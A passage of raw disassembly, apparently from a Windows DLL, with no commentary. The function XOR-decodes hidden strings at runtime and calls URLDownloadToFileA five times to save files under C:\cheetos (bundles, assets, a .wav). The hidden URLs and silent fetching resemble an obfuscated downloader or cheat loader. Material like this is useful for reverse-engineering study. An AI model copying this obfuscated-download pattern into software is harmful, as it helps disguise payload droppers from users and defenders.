mov qword [rbp + 0x188], rax
movabs rax, 0x9900b35b133a580b
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x190], rax
movabs rax, 0x8ee9ec96ea2232cc
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x198], rax
movabs rax, 0xbe82db117dcb515
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x1a0], rax
movabs rax, 0xb4b208e4e9bc6f8e
mov qword [rbp + 0xa20], rax
lea r8, str.C:cheetos.ccholo.bundle
mov rax, qword [rbp + 0xa20]
lea rdx, [rsp + 0x40]
mov qword [rbp + 0x1a8], rax
xor r9d, r9d
movabs rax, 0x974ceb3fd69f250f
mov qword [rsp + 0x20], 0
mov qword [rbp + 0xa20], rax
xor ecx, ecx
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x1b0], rax
movabs rax, 0xb3cdea6a12efd8a0
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
movdqa xmm0, xmmword [rsp + 0x40]
xorps xmm0, xmmword [rbp + 0x160]
movdqa xmm1, xmmword [rsp + 0x50]
xorps xmm1, xmmword [rbp + 0x170]
movdqa xmmword [rsp + 0x40], xmm0
movdqa xmm0, xmmword [rsp + 0x60]
xorps xmm0, xmmword [rbp + 0x180]
movdqa xmmword [rsp + 0x50], xmm1
movdqa xmm1, xmmword [rsp + 0x70]
xorps xmm1, xmmword [rbp + 0x190]
movdqa xmmword [rsp + 0x60], xmm0
movdqa xmm0, xmmword [rbp - 0x80]
xorps xmm0, xmmword [rbp + 0x1a0]
movdqa xmmword [rsp + 0x70], xmm1
movdqa xmm1, xmmword [rbp - 0x70]
mov qword [rbp + 0x1b8], rax
xorps xmm1, xmmword [rbp + 0x1b0]
movdqa xmmword [rbp - 0x80], xmm0
movdqa xmmword [rbp - 0x70], xmm1
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movabs rax, 0xcc375f3ade272a45
movabs rcx, 0xd5240f75a2d207d9
mov qword [rbp + 0xa20], rax
movabs rdx, 0x6ee906e8e8d0b142
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x160], rax
mov qword [rbp + 0xa20], rdi
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x168], rax
mov qword [rbp + 0xa20], r13
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x170], rax
mov qword [rbp + 0xa20], r12
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x178], rax
mov qword [rbp + 0xa20], r15
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x180], rax
mov qword [rbp + 0xa20], r14
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x188], rax
mov qword [rbp + 0xa20], rsi
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x190], rax
mov qword [rbp + 0xa20], rbx
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x198], rax
movabs rax, 0x3ddc188926e88122
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x1a0], rax
movabs rax, 0xd09d31d0da8a5ebe
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x1a8], rax
movabs rax, 0xf4298551b9fc5666
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x1b0], rax
movabs rax, 0xc0b98f19618ef6d4
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x1b8], rax
mov qword [rbp + 0xa20], rcx
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x1c0], rax
mov qword [rbp + 0xa20], rdx
lea r8, str.C:cheetos.ccdisconnect.assets
mov rax, qword [rbp + 0xa20]
xor r9d, r9d
mov qword [rbp + 0x1c8], rax
movabs rax, 0xe3186549ae535e2d
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x6d0], rax
movabs rax, 0xa82a2edc47d16cc6
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x6d8], rax
movabs rax, 0x2c6961d72b8e4b07
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x6e0], rax
movabs rax, 0xece40ce265ba3d98
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x6e8], rax
movabs rax, 0x3ab4ffad412178d1
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x6f0], rax
movabs rax, 0xb61b3e4095eeecba
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x6f8], rax
movabs rax, 0x9900b35b133a580b
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x700], rax
movabs rax, 0x8ee9ec96ea2232cc
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x708], rax
movabs rax, 0xbe82db117dcb515
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x710], rax
movabs rax, 0xb4b208e4e9bc6f8e
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x718], rax
movabs rax, 0x974ceb3fd69f250f
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x720], rax
movabs rax, 0xb3cdea6a12efd8a0
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0xa20], rcx
mov qword [rbp + 0x728], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x730], rax
mov qword [rbp + 0xa20], rdx
mov rax, qword [rbp + 0xa20]
movdqa xmm0, xmmword [rbp + 0x160]
xorps xmm0, xmmword [rbp + 0x6d0]
movdqa xmm1, xmmword [rbp + 0x170]
xorps xmm1, xmmword [rbp + 0x6e0]
movdqa xmmword [rbp + 0x160], xmm0
movdqa xmm0, xmmword [rbp + 0x180]
xorps xmm0, xmmword [rbp + 0x6f0]
movdqa xmmword [rbp + 0x180], xmm0
movdqa xmm0, xmmword [rbp + 0x1a0]
xorps xmm0, xmmword [rbp + 0x710]
movdqa xmmword [rbp + 0x170], xmm1
movdqa xmm1, xmmword [rbp + 0x190]
xorps xmm1, xmmword [rbp + 0x700]
movdqa xmmword [rbp + 0x1a0], xmm0
movdqa xmm0, xmmword [rbp + 0x1c0]
movdqa xmmword [rbp + 0x190], xmm1
movdqa xmm1, xmmword [rbp + 0x1b0]
xorps xmm1, xmmword [rbp + 0x720]
mov qword [rbp + 0x738], rax
xorps xmm0, xmmword [rbp + 0x730]
movdqa xmmword [rbp + 0x1c0], xmm0
movdqa xmmword [rbp + 0x1b0], xmm1
mov qword [rsp + 0x20], 0
lea rdx, [rbp + 0x160]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movabs rax, 0xcc375f3ade272a45
movabs rbx, 0xaa348a68240b6e33
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rsp + 0x40], rax
mov qword [rbp + 0xa20], rdi
movabs rdi, 0x8e290776a7d9db8b
mov rax, qword [rbp + 0xa20]
mov qword [rsp + 0x48], rax
mov qword [rbp + 0xa20], r13
mov rax, qword [rbp + 0xa20]
mov qword [rsp + 0x50], rax
mov qword [rbp + 0xa20], r12
mov rax, qword [rbp + 0xa20]
mov qword [rsp + 0x58], rax
mov qword [rbp + 0xa20], r15
mov rax, qword [rbp + 0xa20]
mov qword [rsp + 0x60], rax
mov qword [rbp + 0xa20], rdi
mov rax, qword [rbp + 0xa20]
mov qword [rsp + 0x68], rax
mov qword [rbp + 0xa20], rbx
mov rax, qword [rbp + 0xa20]
mov qword [rsp + 0x70], rax
movabs rax, 0xbddedba7db0d02fa
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rsp + 0x78], rax
movabs rax, 0x3fda1d8426e88c25
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp - 0x80], rax
movabs rax, 0xd39d3ed0df8f5db8
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp - 0x78], rax
movabs rax, 0xe22ec546aefe496e
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp - 0x70], rax
movabs rax, 0xb3cdea6a7783bcce
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp - 0x68], rax
movabs rax, 0xe3186549ae535e2d
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x540], rax
movabs rax, 0xa82a2edc47d16cc6
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x548], rax
movabs rax, 0x2c6961d72b8e4b07
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x550], rax
movabs rax, 0xece40ce265ba3d98
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x558], rax
movabs rax, 0x3ab4ffad412178d1
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x560], rax
movabs rax, 0xb61b3e4095eeecba
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x568], rax
movabs rax, 0x9900b35b133a580b
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x570], rax
movabs rax, 0x8ee9ec96ea2232cc
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x578], rax
movabs rax, 0xbe82db117dcb515
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
lea r8, str.C:cheetos.ccgalaxy.bundle
mov qword [rbp + 0x580], rax
lea rdx, [rsp + 0x40]
movabs rax, 0xb4b208e4e9bc6f8e
mov qword [rsp + 0x20], 0
mov qword [rbp + 0xa20], rax
xor r9d, r9d
mov rax, qword [rbp + 0xa20]
xor ecx, ecx
mov qword [rbp + 0x588], rax
movabs rax, 0x974ceb3fd69f250f
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x590], rax
movabs rax, 0xb3cdea6a12efd8a0
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
movdqa xmm0, xmmword [rsp + 0x40]
xorps xmm0, xmmword [rbp + 0x540]
movdqa xmm1, xmmword [rsp + 0x50]
xorps xmm1, xmmword [rbp + 0x550]
movdqa xmmword [rsp + 0x40], xmm0
movdqa xmm0, xmmword [rsp + 0x60]
xorps xmm0, xmmword [rbp + 0x560]
movdqa xmmword [rsp + 0x50], xmm1
movdqa xmm1, xmmword [rsp + 0x70]
xorps xmm1, xmmword [rbp + 0x570]
movdqa xmmword [rsp + 0x60], xmm0
movdqa xmm0, xmmword [rbp - 0x80]
xorps xmm0, xmmword [rbp + 0x580]
movdqa xmmword [rsp + 0x70], xmm1
movdqa xmm1, xmmword [rbp - 0x70]
mov qword [rbp + 0x598], rax
xorps xmm1, xmmword [rbp + 0x590]
movdqa xmmword [rbp - 0x80], xmm0
movdqa xmmword [rbp - 0x70], xmm1
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movabs rax, 0xcc375f3ade272a45
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rsp + 0x40], rax
movabs rax, 0xcb5947b869bf08a5
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rsp + 0x48], rax
mov qword [rbp + 0xa20], r13
mov rax, qword [rbp + 0xa20]
mov qword [rsp + 0x50], rax
mov qword [rbp + 0xa20], r12
mov rax, qword [rbp + 0xa20]
mov qword [rsp + 0x58], rax
mov qword [rbp + 0xa20], r15
mov rax, qword [rbp + 0xa20]
mov qword [rsp + 0x60], rax
mov qword [rbp + 0xa20], r14
mov rax, qword [rbp + 0xa20]
mov qword [rsp + 0x68], rax
mov qword [rbp + 0xa20], rsi
mov rax, qword [rbp + 0xa20]
mov qword [rsp + 0x70], rax
movabs rax, 0xbfd0dba7db0d00fd
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rsp + 0x78], rax
movabs rax, 0x33d81a8723e48d24
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp - 0x80], rax
movabs rax, 0xe79d38d6d0895fbd
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp - 0x78], rax
movabs rax, 0xe329984cb7b11444
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp - 0x70], rax
movabs rax, 0xb3cdea6a12efd8d3
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp - 0x68], rax
movabs r14, 0xe3186549ae535e2d
lea r8, str.C:cheetos.ccSK1.assets
mov qword [rbp + 0xa20], r14
lea rdx, [rsp + 0x40]
mov rax, qword [rbp + 0xa20]
xor esi, esi
mov qword [rbp + 0x5a0], rax
xor r9d, r9d
movabs rax, 0xa82a2edc47d16cc6
mov qword [rsp + 0x20], rsi
mov qword [rbp + 0xa20], rax
xor ecx, ecx
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x5a8], rax
movabs rax, 0x2c6961d72b8e4b07
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x5b0], rax
movabs rax, 0xece40ce265ba3d98
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x5b8], rax
movabs rax, 0x3ab4ffad412178d1
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x5c0], rax
movabs rax, 0xb61b3e4095eeecba
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x5c8], rax
movabs rax, 0x9900b35b133a580b
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x5d0], rax
movabs rax, 0x8ee9ec96ea2232cc
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x5d8], rax
movabs rax, 0xbe82db117dcb515
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x5e0], rax
movabs rax, 0xb4b208e4e9bc6f8e
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x5e8], rax
movabs rax, 0x974ceb3fd69f250f
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x5f0], rax
movabs rax, 0xb3cdea6a12efd8a0
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
movdqa xmm0, xmmword [rsp + 0x40]
xorps xmm0, xmmword [rbp + 0x5a0]
movdqa xmm1, xmmword [rsp + 0x50]
xorps xmm1, xmmword [rbp + 0x5b0]
movdqa xmmword [rsp + 0x40], xmm0
movdqa xmm0, xmmword [rsp + 0x60]
xorps xmm0, xmmword [rbp + 0x5c0]
movdqa xmmword [rsp + 0x50], xmm1
movdqa xmm1, xmmword [rsp + 0x70]
xorps xmm1, xmmword [rbp + 0x5d0]
movdqa xmmword [rsp + 0x60], xmm0
movdqa xmm0, xmmword [rbp - 0x80]
xorps xmm0, xmmword [rbp + 0x5e0]
movdqa xmmword [rsp + 0x70], xmm1
movdqa xmm1, xmmword [rbp - 0x70]
mov qword [rbp + 0x5f8], rax
xorps xmm1, xmmword [rbp + 0x5f0]
movdqa xmmword [rbp - 0x80], xmm0
movdqa xmmword [rbp - 0x70], xmm1
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movabs rax, 0xcc375f3ade272a45
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rsp + 0x40], rax
movabs rax, 0xcb5947b869bf08a5
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rsp + 0x48], rax
mov qword [rbp + 0xa20], r13
movabs rcx, 0xb3cdea6a12efd8a0
mov rax, qword [rbp + 0xa20]
mov qword [rsp + 0x50], rax
mov qword [rbp + 0xa20], r12
mov rax, qword [rbp + 0xa20]
mov qword [rsp + 0x58], rax
mov qword [rbp + 0xa20], r15
mov rax, qword [rbp + 0xa20]
mov qword [rsp + 0x60], rax
mov qword [rbp + 0xa20], rdi
mov rax, qword [rbp + 0xa20]
mov qword [rsp + 0x68], rax
mov qword [rbp + 0xa20], rbx
mov rax, qword [rbp + 0xa20]
mov qword [rsp + 0x70], rax
movabs rax, 0xbbdedba7db0d02fa
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rsp + 0x78], rax
movabs rax, 0x3bd01d8127ec8126
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp - 0x80], rax
movabs rax, 0xdc9d3ed3d88c5fb7
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp - 0x78], rax
movabs rax, 0x974c9d5ea1b15166
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp - 0x70], rax
mov qword [rbp + 0xa20], rcx
mov rax, qword [rbp + 0xa20]
mov qword [rbp - 0x68], rax
mov qword [rbp + 0xa20], r14
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x600], rax
movabs rax, 0xa82a2edc47d16cc6
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x608], rax
movabs rax, 0x2c6961d72b8e4b07
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x610], rax
movabs rax, 0xece40ce265ba3d98
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x618], rax
movabs rax, 0x3ab4ffad412178d1
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x620], rax
movabs rax, 0xb61b3e4095eeecba
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x628], rax
movabs rax, 0x9900b35b133a580b
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x630], rax
movabs rax, 0x8ee9ec96ea2232cc
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x638], rax
movabs rax, 0xbe82db117dcb515
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x640], rax
movabs rax, 0xb4b208e4e9bc6f8e
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x648], rax
movabs rax, 0x974ceb3fd69f250f
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0xa20], rcx
mov qword [rbp + 0x650], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x658], rax
movdqa xmm0, xmmword [rsp + 0x40]
lea r8, str.C:cheetos.cchit.wav
xorps xmm0, xmmword [rbp + 0x600]
lea rdx, [rsp + 0x40]
movdqa xmm1, xmmword [rsp + 0x50]
xor r9d, r9d
xorps xmm1, xmmword [rbp + 0x610]
xor ecx, ecx
movdqa xmmword [rsp + 0x40], xmm0
movdqa xmm0, xmmword [rsp + 0x60]
xorps xmm0, xmmword [rbp + 0x620]
movdqa xmmword [rsp + 0x50], xmm1
movdqa xmm1, xmmword [rsp + 0x70]
xorps xmm1, xmmword [rbp + 0x630]
movdqa xmmword [rsp + 0x60], xmm0
movdqa xmm0, xmmword [rbp - 0x80]
xorps xmm0, xmmword [rbp + 0x640]
movdqa xmmword [rsp + 0x70], xmm1
movdqa xmm1, xmmword [rbp - 0x70]
xorps xmm1, xmmword [rbp + 0x650]
movdqa xmmword [rbp - 0x80], xmm0
movdqa xmmword [rbp - 0x70], xmm1
mov qword [rsp + 0x20], rsi
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov r8, qword [rbp + 0x878]
cmp r8, 0xf
jbe 0x18005a411
mov rdx, qword [rbp + 0x860]
call fcn.1800043d0
mov r8, qword [rbp + 0x208]
cmp r8, 0xf
jbe 0x18005a42a
mov rdx, qword [rbp + 0x1f0]
call fcn.1800043d0
mov r8, qword [rbp + 0x898]
movdqa xmm0, xmmword [0x180287170]
mov byte [rbp + 0x1f0], sil
movdqu xmmword [rbp + 0x200], xmm0
cmp r8, 0xf
jbe 0x18005a45a
mov rdx, qword [rbp + 0x880]
call fcn.1800043d0
lea rcx, [rbp + 0x140]
call fcn.180004330
mov r8, qword [rbp - 0x28]
cmp r8, 0xf
jbe 0x18005a479
mov rdx, qword [rbp - 0x40]
call fcn.1800043d0
mov r8, qword [rbp - 0x48]
cmp r8, 0xf
jbe 0x18005a48c
mov rdx, qword [rbp - 0x60]
call fcn.1800043d0
mov r8, qword [rbp - 8]
cmp r8, 0xf
jbe 0x18005a49f
mov rdx, qword [rbp - 0x20]
call fcn.1800043d0
mov rcx, qword [rbp + 0xa10]
call fcn.180004330
mov r12, qword [rsp + 0xb28]
add rsp, 0xad0
pop r15
pop r14
pop r13
pop rdi
pop rsi
pop rbx
pop rbp
ret
call fcn.180003f60
int3
call fcn.180003ec0
int3
call fcn.180003ec0
int3
call fcn.180003f60
int3
call fcn.180003f60
int3